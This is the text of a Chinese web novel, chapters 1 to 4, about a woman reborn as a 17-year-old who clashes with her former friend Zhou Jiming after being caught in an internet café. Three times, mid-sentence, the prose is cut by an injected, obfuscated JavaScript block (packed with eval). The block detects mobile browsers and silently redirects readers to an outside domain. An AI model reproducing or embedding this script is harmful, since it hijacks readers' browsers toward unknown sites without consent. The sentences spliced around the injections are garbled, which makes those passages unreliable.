《时差里的爱恋》 1. 第一章 网吧收银台后，一个黄毛青年正泡着泡面。他慵懒地掀起眼皮，目光漫不经心地落在苏棠身上。 “身份证。” 苏棠愣了一下，方才想起现在的她只有17岁，根本没有成年人身份证。 她假意摸了摸裤袋，朝黄毛青年讨好地笑了笑，“不好意思，忘带了。” 黄毛青年依然垂着眉眼，专注搅动着眼前的泡面。但她分明感觉到，他从眼皮底下把她打量了个透，貌似正在评估她的身份，究竟是学生，还是已成年。 苏棠穿了一件纯白T恤和浅灰薄外套，搭配牛仔裤和板鞋。出门前，她特意从满是幼稚款式的衣柜里挑出这套最简约的装扮。 现在的她，看起来更像一个大学生而非高中生。 她想就此蒙混过关。 黄毛青年放下了手里的一次性餐具，从抽屉里拿出一张泛黄的卡片，正准备往台上的机子上刷，“没有身份证要收押金，押金一百，开机一小时五块。” 她心脏漏了一拍，她全身上下只有20块。 刚刚出门的时候，她和许春梅说她要去书店一趟买点学习资料，许春梅从店铺的收银台里抽了一张20元纸币给她。然后，她便转身来到了眼下这家离家不远的网吧。 “额，能不能......不收押金？” 她的声音小得仿佛只有她自己能听清。 不知道对面是真的没听到还是故意不回应，现场陷入了尴尬的沉默。 几个人从网吧大门进来，径直来到收银台前，爽快地付了款拿了卡，从她身旁擦肩而过，没入昏暗的网吧深处。 她尴尬地瞄了一眼黄毛青年，看来那人是在用沉默来拒绝自己的请求。 她正准备离开，身旁出现一高大身影，用着她熟悉的声线，朝黄毛青年说道：“这里是300，她那台的钱和押金从我这里扣。” 她转头朝那人望去。 身旁的人身形颀长，褐色的牛仔裤包裹着笔直的双腿，上身随意套了件深灰色纯色衬衫，敞开的衬衫前露出内搭的纯白T恤。 苏棠的视线缓缓上移，掠过那收窄的腰身和微微起伏的胸膛，再往上是凸起的喉结，还有......一张清贵桀骜的脸。 黑沉如墨的眸光，微微上挑的眉眼，有些苍白的皮肤，以及习惯性抿着直线的嘴角。 这张脸虽然很好看，但却让她瞬间怒火中烧。 眼前这张脸她再熟悉不过了，正是重生前与她彻底撕破脸的僚机，周既明。 高三那年，周既明偶然撞破她暗恋顾野的秘密，借着“喜欢她闺蜜程望舒”的由头，与她结成了互相为对方恋情助攻的“暗恋同盟”。 虽然后来双方的暗恋都无疾而终，她却始终维系着这段友情，两人也从互相助攻的僚机变成形影不离的死党。 然而，就在男神顾野婚礼前夕，她却意外得知，在她追求男神的过程中，表面鼎力相助的周既明竟一直在暗中作梗，使得她与暗恋多年的男神失之交臂，只能眼睁睁看着男神步入婚姻的殿堂。因此，她和周既明彻底决裂。 苏棠万万没想到，重生后，除了家人外第一个碰到的熟人，竟是她决定此生不再来往的旧日死党。 苏棠前几天刚从一场车祸中重生，回到了17岁的身体里。 她醒来的时候，发现自己正躺在家中的卧室床上。 泛黄的天花板，贴满学习日程表的书桌，摆满教辅书的书架，还有窗边被风吹得叮当作响的白色风铃。周遭的一切让她很快地意识到，她的灵魂回到了高中时代。 在她还没理清现在是何年月时，母亲许春梅进了她的房间，给她送来了午饭。并告知，因她的重感冒还没有完全痊愈，又替她向学校多请了几天假。 当时，她仍能感觉到车祸发生瞬间所带来的撕心裂肺的疼痛。那些疼痛，在她卧床了整整一天后才有所缓解。 在身体逐渐恢复的几天里，她搞清楚了自己所处的时空节点，同时不断回溯着重生前的每一个关键的细节。 重生前，她和周既明爆发了一场激烈的争吵。 当时她从周既明家中夺门而出，情绪失控间误闯了红灯，然后就发生了车祸。 她依稀记得，车祸发生前的最后一刻，有人从身后死死拽住她的手腕。当她试图在记忆里拼凑那人的面容时，却在抬头的瞬间，发现那人的脸和眼前周既明的脸，完美地重合到了一起。 “我先帮你出，你怎么会在这里？”周既明正疑惑地向苏棠问道。 苏棠还没从记忆中回过神来，怔怔地望着周既明，没有说话。 “38号台和39号台。” 黄毛青年拿过周既明递过去的三张大红钞票，拿起一个发着紫光的验钞笔往上照了照，随即在键盘上敲了一下，又从抽屉里抽出另外一张卡，分别在一台机子里面刷了一下，然后把两张卡扔给了他们。 见苏棠没有回话，周既明从她身旁越过，拿着两张卡朝着网吧里侧厕所旁的位置走去。“在这边，跟我来。” 苏棠下意识地跟了上去。 空调的冷气混着汗味在空气里浮沉，网吧里光线昏暗，头顶的日光灯管滋滋作响，投下惨白的光。角落里，几个显示器闪着幽蓝的光，映在玩家脸上，像一层诡异的滤镜。 路过的键盘声噼里啪啦地响，偶尔夹杂几句骂战——“中路MISS你没看见？”“打野会不会玩？”耳机漏出的枪声、技能音效和主播的喊麦声搅在一起，嘈杂得让人耳鸣。 她被那几声突如其来的厉喝吓得回过神来，飞快地跑到已经找到位置坐下的周既明身边，俯身问道：“我坐哪里？” 他微微地把头往一旁的黑色靠椅侧去，示意这是她位置。 她连忙坐下，然后接过卡片，把卡上的账号和密码往电脑里面输。 键盘上沾满了细碎的薯片残渣，摸起来油油腻腻。苏棠指尖悬空，以最小的接触面积敲击按键，小心翼翼地避免皮肤和键盘有过多的触碰。 周既明不动声色地从包里拿出一包纸巾，放在了他俩的电脑之间。 苏棠早已收起因回忆而引起的怒火，对周既明的体贴轻声地回应：“谢谢。” 从网吧门口走向座位的短短几步路里，她就已经清楚地意识到，她不能将未来记忆里的情绪强加给现在的周既明。 她所处的时空节点是高二下学期，按照原本的时间发展顺序，他们不过是普通同学，还没成为互为助攻的僚机，更不存在什么不可饶恕的背叛。 看着苏棠过分嫌弃地擦拭着眼前的键盘，周既明问道：“你之前没来过？” “嗯，算......没来过。” 苏棠的大脑有点转不过来，她只来过一次这个网吧，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180855|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在高考出成绩的时候。但，她现在所处的时间，离高考还有一年零四个月。 “算......没来过？”周既明一副若有所思的样子。 他没有追问，他向来没有追问的习惯。他侧过身去，开始在键盘上敲打，一番操作后进入了一个游戏页面。 苏棠瞥见周既明正全神贯注地盯着游戏界面，便不动声色地将电脑屏幕转向稍微背对着他的角度。她指尖轻落，在搜索栏一字字敲入关键词。 【重生穿越后怎么回到原来的世界？】 【重生的物理原理。】 【穿越在科学上的解释。】 【有人重生过吗？】 ...... 重生后的这几天，她除了通过日历确认现在是高二下学期以外，她没法获取更多的有用信息。 当她意识并接受了自己重生这个事实后，她想做的第一件事情，就是上网查询是否存在类似的案例。 但高中时期家境拮据，家里并没有配备有电脑，而她使用的还是仅有通话和短信功能的老款诺基亚手机。 于是，趁着病假还剩最后一天，她找了个借口来网吧上网查询。 但上网的结果并没有如她意，搜索出来的结果大多都是一些传闻逸事，但更多的是一些穿越剧的剧情提及。2012年，是穿越剧的影视元年，两部现象及的穿越剧《步步惊心》和《宫锁心玉》的爆发，让穿越这个词被大众熟知。 她也说不清自己的情况是算重生还是算穿越，继续盲目地在网上搜寻。 她甚至点进去一些穿越影视剧的介绍页面，想从中找到一些启发。 “所以要穿越回去，可能需要再死一次，或者是......”苏棠看着那些花花绿绿的影视简介自言自语。 彼时的周既明刚结束完一局游戏，他松开鼠标，指节在眉心缓缓按压，他后仰躺进椅背，颈椎发出轻微的咔响。他听到苏棠正在喃喃自语，视线朝她的方向看去，喉结随着吞咽滚动了一下。 “你在看穿越剧吗？”周既明问。 “啊？” 苏棠被周既明突如其来的发问吓了一跳，仿佛她正在看什么见不得人的东西，她下意识地把浏览页面收到隐藏格式。 周既明慵懒地陷进身后的靠椅里，勾着唇别有深意地望着她。 “看剧而已，何必这么惊慌失措。” 她被这颇有挑衅意味的话刺中，冷冷地回复到：“不关你事。” “哦，那麻烦明天记得把上网的钱还我。” 他耸了耸肩，语气松散，好像并不在意她刚刚的冷漠回复。 苏棠在未来认识的周既明，是个腹黑毒舌、报复心极强的人。她万万没想到，在他们结为盟友之前，他就已经是这副秉性了。 她毛躁的情绪瞬间被点燃，“放心，我不差你这点钱，现在就还你！” 话音未落，她猛地将座椅转向周既明，从裤袋里掏出那张20元纸币，甩手拍在他的键盘上。 却因为起身太快，用力太猛的缘故，整个人失了重心，摇摇晃晃地摔进了他的怀里。 两人僵在原地，谁都不敢动弹。苏棠清晰地感受到，额头上那温热的呼吸正若有似无地拂过。 片刻，他用轻佻的语气说了句：“那倒也不必以身相许，钱我收下了，你......可以起来了。” 2. 第二章 苏棠一听他那轻佻的话语，立刻从他怀里弹了起来，满脸嫌弃地拍打起自己身前的衣服。 他向来讲话阴阳怪气，和他继续争论毫无意义。 她坐回了自己的位置，重新点开了搜索引擎。 周既明见她没有搭腔，轻笑了一下，伸手拿走键盘上的20元纸币，然后朝收银台走去。 五分钟后，苏棠的搜索页面被冻结，屏幕右上方滚动着一行小字“您的余额已不足，请到前台续费。” 她下意识瞥了一眼周既明的电脑屏幕，那是英雄联盟的结算画面—— “胜利”的徽标在暗红色的界面上闪烁着。 真的是有够争强好胜的一个人。 苏棠起身准备追上去理论，却看到周既明正朝着自己的方向走来。 他莫名其妙地对着自己使眼色，压低着嗓子丢下一句话：“赶紧走”，然后从她的座位后面走过，径直进了男厕所。 她以为这又是他无聊的报复行径，断了她的网络又折返回来膈应她，气得轻拍了一下键盘。 如同泄了气的皮球蔫在了原地一般。 她准备等周既明从厕所出来再和他理论。 “来来来，这边几个，全部给我拿出身份证。” 突然身旁炸开一声厉喝，她猛地回头，看见两名穿制服的警察正朝自己走来，她觉得不关自己的事，只是警察例行检查网吧情况。 下一秒，她就心脏猛地一缩，随即想起身逃离。 “同学，刚刚不是还很淡定嘛......” 身旁的警察语气里满是对苏棠刚刚慢半拍反应的嘲笑。 另一个警察从男厕所走出来：“厕所里没人。” 周既明逃掉了！ “也没有白跑，还是抓到一个。” 身旁的警察下巴往苏棠这轻轻一偏，仿佛在和他的同事炫耀刚钓上来的大鱼。 这下完蛋了。 * “小周，我向来对你的管理风格持保留态度，但是这次确实太过分了吧，黎城一中——实验班——还是班长，周一的上课时间在网吧被警察抓到。传出去，外面的人会怎么看怎么说？”教导主任坐在周书瑶的办公桌前，手里的茶杯重重地砸在了桌上，“会说我们二十年的老校——校风堕落、管理无能！” 苏棠和班主任周书瑶正站在教导主任跟前，听着他那抑扬顿挫的责骂，低着头，不敢接话。 在外人看来，教导主任就好像正在训斥两个大气都不敢出的女学生。 周书瑶是苏棠所在的高二五班的班主任，同时还兼任他们班的数学科任老师。她刚从学校毕业出来，就应聘到了黎城最有名的高中，并且在老校长的提携下，工作第一年就当上了实验班的班主任。 学校里的老师都对她有颇多看法，觉得是不是有什么特殊的背景。但只有周书瑶自己知道，自己不知道走了什么狗屎运，会被黎城一中的老校长招聘甚至安排在重要的岗位上。 “小周，你的学生不说话，你作为班主任也不说话吗？”教导主任语气非常凌厉。 “李主任，您说的没错，但是苏棠向来都非常地遵守学校的纪律，而且在学习上一直非常用心，她每次都在我们班的前三名，我不相信这么好的学生会真的跑去网吧......” 周书瑶的话还没话说，教导主任就愤怒地拍了一下桌子。 “她都被抓到了，你还替她说话。她不会真的跑去网吧，那警察怎么抓她，从学校拉去网吧再抓过来吗？” “李主任，我不是这个意思，我的意思是，苏棠去网吧确实不对，但是我们也要先问问她去网吧干什么，她不是那种贪图玩乐的孩子。” 周书瑶语气柔和却又坚定。 苏棠感觉到所有视线顿时汇聚在自己身上。 “我......我......我去网吧查学习资料。”苏棠情急之下胡乱编了一个理由。 “好，你说说，你都查了什么学习资料，什么学习资料课本上找不到要去网吧找！”教导主任的声音像一把温厚的刀，精准地切入苏棠的回答。 “我查了爱因斯坦的相对论的时空观，看了他基于广义相对论提出的时空隧道假说，还有一些关于量子力学方面的资料。” 苏棠无奈只能将下午查的关于重生穿越的一些物理假说搬上台面，希望能够借此蒙混过关。她感觉到身旁的周书瑶长长地舒了一口气，紧绷的身体好像也微微放松了下来。 但她们仍然相当紧张地等着教导主任的发落。 “同学，这个事情本来是要记过的，但是念在你是初犯，而且平时在学校表现也不错，这次就——”教导主任的话在最关键的地方停顿了下来，“那就罚你帮高三扫半个月的包干区吧，马上要高考了，就当给高三学长学姐减轻一下劳动方面的压力了。” 半个月，整个高三的包干区，只有她一个人！ 她瞬间感觉五雷轰顶。 她几乎是下意识地说道：“还有一个同学，他和我一起去的网吧。” “谁？”教导主任厉声问道。 “周既明”苏棠脱口而出。 他不仁就别怪她不义，既然他见死不救，那就等着一起接受处罚。 “那你就和这位同学一起扫一个月的包干区，你现在可以回去了，顺便把这位和你一起去网吧的同学叫来。”教导主任说道。 苏棠思忖，一个人扫半个月包干区和两个人扫一个月包干区究竟有什么本质上的区别，竟在原地没有离开的意思。 “你还不赶快去？”教导主任厉声喝斥道。 苏棠惊醒，迅速地走出门去。 她回到教室时，周既明正站在教室门前的走廊栏杆边上吹风，眼神朝她这望来，有几分在等自己的意思。 她走了上去，“教导主任和班主任叫你去一趟办公室。” 说完，径直转身进了教室。 此时，正值晚自习第一节课的课间时间。教室里闹闹嚷嚷，大家都在讨论着她去网吧被抓的事情。 事情竟传得那么快。 苏棠刚踏入教室大门，首先迎上来的是班上最八卦的男女组合，张元明和唐敏。 “班长，听说你去网吧被抓了，天啊，你不是重感冒请假吗？怎么会去网吧？”唐敏问道。 唐敏是苏棠的舍友，所以对苏棠动态很是了解。 苏棠面露难色。 阔别高中校园多年，毕业后也鲜少和高中同学联系，突然间要和这些旧人打交道，她竟不知应该给出什么反应。 “额，只是去查点资料。”她搪塞道。 “那教导主任最后怎么处置你呢？上次有个普通班的同学也是去网吧被抓，好像还被记过了，班长你不会也被记过吧？”张元明连忙问，眼神里充满了渴望。 如果不了解这两人的秉性，大概会觉得这两人不安好心，幸灾乐祸。但苏棠知道，他们是真的纯粹八卦。 “没，被罚扫一个月的高三的包干区。”她说完朝着自己的位置走去。 背后传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180856|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来惊呼声：“一个人！一个年级的包干区！一个月！” 一字一句向全世界宣告他们刚刚获得的情报。 周遭响起一些惊呼声。 苏棠的座位在教室最里侧靠窗的中间位置。这个位置，在她重生前，她坐了整整三年。 她步伐有些迟疑，但还是硬着头皮走到了座位边上。 “舒舒，我来了。” 程望舒是她的同桌，她坐在里侧，程望舒坐在外侧。 听到苏棠的声音，原本趴在课桌上休息的程望舒坐了起来，朝她笑笑，起身让她进去。 “你成新闻焦点了。”程望舒坐下后又恢复趴在课桌上的姿势，脸朝向苏棠一侧说道。 “嗯嗯。”苏棠看着眼前阔别多年的好友，竟一时语迟，有种复杂的情绪涌上心头。 她最后一次见程望舒，是大三的时候。 当时周既明约了程望舒准备告白，但不知为何，最后两人发生了激烈的争吵。 苏棠闻讯赶到时，只看到程望舒甩了周既明一巴掌，然后含泪离去。在餐厅门口碰上苏棠，还对苏棠说了一句：“你们真是一群烂人。” 自那之后，她们的闺蜜关系彻底断绝，程望舒把她所有的联系方式通通都拉黑了。 她也多次向周既明讨要一个真相，但对方每次都借着情伤未愈拒绝谈论此事。这件事，最终成为导致她和周既明决裂的其中一个原因。 晚自习的上课铃声响起，苏棠看程望舒拿出数学练习册，便也低头在抽屉里翻找起相同的教材。 抽屉里空空如也。 她才想起，她的课本和练习册通通都在家里。 一周前，17岁的苏棠因重感冒晕倒在教室，被同学送回家时，程望舒特意将她的学习资料整理好一并送回，因为程望舒了解苏棠，哪怕是生病也不能落下学习。 她抽出裤袋里的诺基亚，给许春梅发了一条短信：“妈妈，我下午直接回学校了，忘记和你说了。” 刚刚在网吧，当警察要求她联系家长，她不愿让许春梅担心，索性直接报了自己所在的学校。因此她被警察送去了学校，现在才想起通知许春梅自己的去向。 发完短信，她向程望舒借来数学课本。她把4A大小的数学课本立在课桌上，借着课本的遮掩，不动声色地观察着阔别已久的高中教室。 她的目光在教室里逡巡，寻找着她高中时期最关注的几个人的身影。 苏棠在高中时期关注的人只有四个，一个是暗恋多年的顾野，一个唯一的闺蜜程望舒，一个是成为她僚机的周既明，最后一个是初中时就让她避之不及的黎曼君。 她很快定位到顾野的身影，他就坐在她的正前方，距离她仅隔了三排座位。她望着顾野的背影出神，却依稀感觉到有视线落在自己身上，她转头一望，只见坐在教室正中央的黎曼君慌忙别开眼。 苏棠不禁翻了一个白眼，黎曼君就这么关注她，怕不是又想做什么宣传。 但她早已不是当年那个懦弱的苏棠了。27岁的灵魂经历过社会的捶打，怎么还会怕那些高中生的小把戏？ 她正暗下决心，重生这次不能再唯唯诺诺，却听到教室门外一声“报道”。 是周既明挨完训回来了。 可他怎么回来得这么快？明明教导主任刚刚骂了她整整一节晚自习。 她直勾勾地盯着周既明，两人四目相对。 她朝他做了一个伸舌头的鬼脸。 “你不仁我不义。”她心里说了句。 3. 第三章 “明哥，讲讲你和班长的事呗。” 从周既明回到宿舍开始，张元明就一直追着他问这个事情。 周既明有点不耐烦，敷衍道：“就没来得及跑，被抓了啊。” “不是吧，他们说你们在网吧谈恋爱，你丢下班长跑了，班长一气之下把你供出去了。你也太过分了，怎么样也不能把对象丢下。” 周既明正在刷牙，嘴里含着水准备漱口，听到张元明的话，惊得一口水喷在张元明脸上。 “你说什么？” 他万万没想到谣言能传得这么离谱。 张元明顾不上脸上那混杂着唾沫和牙膏泡沫的脏水，见周既明回应他，他连忙继续说道：“有人看到你回来的时候，班长朝你吐舌头做鬼脸了，他们说你当时一脸娇羞。” 周既明回忆了一下，他十分确定，自己当时应该是一脸疑惑。 他昨晚去到办公室时，教导主任已经走了，办公室里只有班主任周书瑶。 周书瑶同他说，她知道他又去网吧当游戏代练了，这次的事她帮他压了下来，告诫他不要再有下次了。同时让他和苏棠一起扫一个月的高三包干区作为惩罚。 他和周书瑶做了几句保证后就离开了办公室，回来后也没有和任何人提及这件事。怎料到事情不仅彻底地传了开来，甚至还被添油加醋成了这个版本。 但近来黎城一中抓早恋抓得严重，只要班上有男女同学前后脚从办公室出来，全班都会默认他们因早恋被训，也难怪这次谣言会往这个方向发展。 “你们不要乱说，没有这回事。”他擦了擦脸，转身准备回到自己的床铺上。 “所以你没有故意丢下班长，只是没来得及救她是吗？那你得去解释啊。”张元明像块牛皮糖似的黏在他身后，说话间已经自作主张地坐到了他的床沿上。 周既明冷冷地瞪了张元明一眼。 张元明知趣地起身，却还在他的床前赖着不肯离开。 周既明琢磨着张元明的话，觉得这句倒是挺在理。 他当时确实没想丢下苏棠。 他正要离开网吧时，收银小哥和他说把他们的网络切断了，因为马上会有人来检查，让他赶紧从厕所的暗门溜走。 等他折返时，警察已经进门，他不好直接拉着苏棠进男厕所，因为会打草惊蛇，所以只能拼命给她递眼色，奈何她愣是没接收到。 “对，你说得对。”周既明若有所思地应答道，全然没意识到这句敷衍的回应，直接坐实了他和苏棠的恋情。 张元明心满意足的回到自己的床位上，抄起手机就开始在Q*Q群里疯狂输出。 八卦很快就通过网络传到了女生宿舍。 “班长，班长，副班长找人和你传话，说他不是故意丢下你的，他是来不及救你。”唐敏跟着苏棠走进洗漱间，又想跟着她进厕所。 从苏棠回到宿舍的那一刻起，唐敏就像跟屁虫一样跟在她身后，眼下还要跟进厕所，她实在有点不耐烦。 “啊，你让我上个厕所吧。”她哀怨地说道，然后用力地把厕所门关上。 唐敏仍在厕所门外喋喋不休：“班长，所以你原谅副班长吗？实在没必要因为这事和他吵架，伤了感情，而且你也把人卖了不是吗？” 苏棠刚提起裤子，听到唐敏替周既明求情的话，翻了个白眼。 伤了感情？ 谁和他有感情啊！ 她推开门，看见唐敏正拿着手机疯狂点击着。 见苏棠从厕所出来，唐敏忙地把手机放下，然后问道：“所以你是什么态度呀，人家还等我传话呢？原不原谅他啊？” 苏棠只觉得可笑。 那个腹黑男又在耍什么花招？ 下午明明还小气到连网都给她断了，警察巡查也不提醒一声，现在倒好，居然还敢找人传话求原谅？ “不原谅不原谅，别再问了。”苏棠打发到。 唐敏听罢疯狂地按击手机的按键。 Q*Q的提示音疯狂地响起。 “他们问，你是不是要和副班长分手？” 片刻后，唐敏向苏棠问道。 “什么？”苏棠惊得从下铺的床上猛然站起，然后后脑勺重重地敲在了上铺的床板上。 她和程望舒上下铺，她刚刚坐在程望舒的床上。 唐敏被苏棠的反应吓到，呆呆地反问：“怎么了？” 程望舒此时也从洗漱间走了出来，看戏般地笑说道：“还没在一起就到分手这一步啦。” 她和苏棠关系要好，知道这些谣言纯属空穴来风。 苏棠一把夺过唐敏的手机，屏幕上赫然显示着高二五班Q*Q群的聊天界面，张元明正在群里激情发言。 【向班长大人求求情，不要和我们副班长分手】 【他说已经给她递眼色了，当时情况紧急】 【我张元明自愿帮两位班委打扫，请两位和好如初】 她被屏幕上五颜六色的文字和刺眼的高亮晃得发昏，一瞬间如遭雷击，周既明究竟是在演哪一出？ * 第二天早上六点，苏棠就被闹钟吵醒。 这是她前一晚定的闹钟。 她昨晚很晚都没睡着，想着要如何去找周既明算账。 她蹑手蹑脚的洗漱穿衣，然后悄无声息地溜出宿舍。 三月的清晨，阳光还没来得及把空气晒得均匀。 苏棠走过黎城一中那光影交替的宿舍建筑群，时而感到清凉，时而感到温暖。 她赶到操场边上的包干区时，卫生已经被做了一大半。 “苏棠，早。” 背后传来一声叫唤，她转过身去，看到周既明正拿着一把红色的扫把，从一处相对隐蔽的树荫下起身，朝自己走来。 他这副云淡风轻的样子，看得她心头起火。 她气势汹汹地迎了上去，夺过他手中的扫把，朝他身上狠狠地打了上去。 “谁和你分手？谁和你在一起了？造什么黄谣。” 她每说一句，手里的扫把就重重地砸向周既明一次。 起初周既明还连连后退躲避，直到后背抵上教学楼的墙壁退无可退，这才一把擒住苏棠的手腕，硬生生截停这场单方面的殴打。 他看到苏棠身后一个身影闪过，貌似是张元明。 但此刻的他根本无暇细想。 苏棠被他猛然拽住手腕后失去了平衡，整个人撞进他的怀里。她的另一只手本能地撑住墙壁，竟阴差阳错的形成将他困在她身前的壁咚姿势。 短短两天，这是他们第二次亲密接触。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180857|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天在网吧，她也是这样跌进他的怀里。此刻他忽然想起，她跌入怀里时他瞬间感受到的柔软触感，耳根不受控制地发烫起来。 “有人，起来。”他在她耳边说道。 他说话间的热气拂过苏棠耳际，惊得她像触电般弹了起来。 她把扫把用力地甩在地上，死死地盯着周既明，“你解释一下，我们什么时候在一起了，全班都在传我们在网吧谈恋爱被抓，你还找人传话向我求情。” 周既明从倚靠墙壁的姿势直起身，随手掸了掸后衣摆，回头对她漫不经心道：“不是我传的，我也是受害者。” 苏棠被他那理直气壮的样子气得胸口发闷。 他怎么可以说他也是受害者。 明明被造谣的是她。 而且谣言分明不是从她这里传出去的。 “那就和你没关系了？”苏棠质问道。 周既明不紧不慢地从地上捡起扫把，然后从苏棠身旁走过，扫起地来。 “那我有什么办法，又不是我传的。”他语调轻松，好似在说苏棠过于夸张，“还是说这件事对你影响很大。” 当然影响大。 且不说她完全不想和他扯上关系。 还会招来别人的误会。 特别是，顾野的误会。 她都已经下定决心了，重生后要勇敢追爱。 这家伙又横插一脚。 “你去澄清一下，说我们两个没有关系，只是刚好网吧遇见。” 苏棠强压住翻涌的怒意。 她太了解周既明了。这人骨子里就爱唱反调，若此时她内心的嫌恶被他察觉，他一定会为了维护他那可怜的自尊，变本加厉地跟她对着干。 想到这里，她又补充了一句：“万一传到我家长那，我会有麻烦。” “他们不准你早恋？”周既明问道。 苏棠点点头。 不会有家长准许自己的小孩早恋的好吗？ 她暗自在心里吐槽。 “行吧。” 许久，周既明唇间终于挤出两个字—— 苏棠屏住呼吸等待下文，不料，被一道突兀的喊声打断。 “苏棠，需要帮忙吗？” 两人闻声朝远处望去，是顾野。 顾野小跑来到两人跟前，挠挠头朝两人说道：“实在不想早读，要不然我帮你们一起扫吧。” 这是苏棠重生后第一次和顾野近距离接触。 她整个人呆滞住了，正眼神迷离地望着他。 顾野站在晨光里，黑色T恤像被熨斗亲吻过般平整。圆领的螺纹边规整地环着脖颈，衬得后颈处剃短的碎发格外利落。短袖自然垂落在大臂中段，露出被夏日晒成小麦色的手臂——与衣领下冷白的肤色形成鲜明分界，仿佛阳光刻意为他描了道金边。 他的肤色天生偏白，像冬日新雪，却在手臂和脖颈处被阳光烙下痕迹，微微泛红。刘海有些长了，散落在高耸的眉骨上，在眼窝投下细碎的阴影。眉骨与鼻梁构成一道凌厉的折角，让那双琥珀色的眼睛更显深邃。 她骤然心跳加速。 一旁的周既明把这一切都看在眼里，然后猝不及防地把接下来的话补充完全，“那我就和他们说我在追你，但是你还没同意。” 4. 第四章 周既明话音刚落，在场的另外两个人都石化了一般。 顾野神色尴尬，而后挤出一个勉强的笑，“我还是去早读好了，不打扰你们。” 苏棠刚想解释，顾野就如惊弓之鸟般逃离了现场。 她转身恶狠狠地盯着周既明。 他却若无其事地继续扫着地上的落叶。 黎城的春末，在没有倒春寒的情况下，气温很快就会飙高。由于常年高温，这里的树木甚至不分季节地掉落。 苏棠一脚踩在周既明刚扫成一堆的落叶堆上。 “你究竟想干什么？”她厉声质问道。 周既明笑着抬头：“不都说了，要追你了。” 苏棠当然不相信他的话。 重生前，她和周既明已经当了近十年的朋友。这十年里，他们有无数的机会从朋友进展成为恋人，但周既明从来没有对她流露过半点逾越朋友界限的心思。 此时的周既明，八成是觉得这样戏弄她很有趣。就像重生前，那时的周既明打着“暗恋同盟”的幌子，表面说是为她助攻，实则不过是在看她的好戏。 她回想起和周既明结成同盟的那个场景。 那是高二下学期期末。 每天放学，苏棠总会悄悄溜到篮球场看顾野打球。但从不像其他女生那样挤在应援团里呐喊，而是独自躲在场外的老榕树后，隔着铁丝网偷看。 “你是不是喜欢顾野？” 周既明冷不丁地出现在她身旁，饶有兴致地问道。 “啊？没有啊。”她下意识地否定。 周既明的脸逆着夕阳的光，表情里写着笃定。 “不喜欢？不喜欢你会一连好几天都站在这里偷看？” 他当时话一出，甚至点醒了苏棠自己。她也因此才意识到自己是喜欢上了顾野。 她原以为自己只是心怀感激。 因为在那之前，顾野曾把晕倒在自家早餐店里的许春梅送去医院。苏棠从未向顾野透露过，他曾帮助的那位妇人正是她的母亲。她不想让人知道她妈妈身患残疾的事实，所以选择将这份感激悄悄埋在心底。 但是如果只是感激的话，为什么不光明正大地站在篮球场边上的应援团里呢？明明那么多人都在为他摇旗呐喊。 她被周既明精准地点中，不敢继续辩驳。 见苏棠不再说话，周既明故意轻描淡写地说道：“暗恋很正常啊，我也喜欢程望舒啊，要不然我们组成同盟互帮互助吧。” 所谓的“暗恋同盟”，就这样诞生。 在同盟结成最初，周既明作为顾野的同宿舍舍友，确实给她输送过不少有用的情报，甚至给她创造过几次和顾野单独相处的机会。 然而随着时间的推移，他这个盟友却越来越敷衍了事。不仅对她的请求推三阻四，甚至假意答应后却阳奉阴违。 直到顾野婚礼前夕，她才从顾野口中得知真相。 高中毕业时托周既明转交的情书根本没被送到顾野手里，而大学期间顾野委托周既明转交给她的篮球赛门票，也全都被他私自扣下了。 他们也因此而爆发了有史以来最激烈的争吵。 “当初明明是你主动说要帮我，结果这些年，你都干了什么？你不仅不帮忙，还在背后偷偷搞破坏。究竟是为什么啊？”苏棠声嘶力竭地朝周既明喊道。 “你没有帮到我，所以我也帮不到你，互帮互助的前提是你能帮到我。”周既明冷冷道。 她难以置信地意识到，他竟将和程望舒恋情失败的责任全数推到自己头上。明明她当时掏心掏肺地为他出谋划策甚至帮他制造机会，为此还失去了最要好的闺蜜。 她对他失望透顶，认定他就是一个无可救药的腹黑小人。 她情绪激动地冲出门去。 她又想起了车祸瞬间看到的那张脸，和眼前的周既明的脸再次重合。 只是眼前的这种脸，多了几分戏谑，少了几分惊恐。 回过神来的她冷冷地回复：“我不会喜欢你的，你不要开这种玩笑。” 对方原本饶有兴致的表情骤然冷了下来，脸上浮现出那种熟悉的较劲神色。苏棠对这副表情再熟悉不过了，他确实是在戏弄自己。 周既明语气有些挑衅：“不会喜欢我，会喜欢顾野是不是？” 疑问句说出肯定句的语气。 苏棠明白他的伎俩，不想接招。 “我谁都不会喜欢，我只想好好学习，不想因为这些事情影响了成绩。”她语气尽可能诚恳，不想惹火周既明。 只有这样，才是最明智的脱身方式。 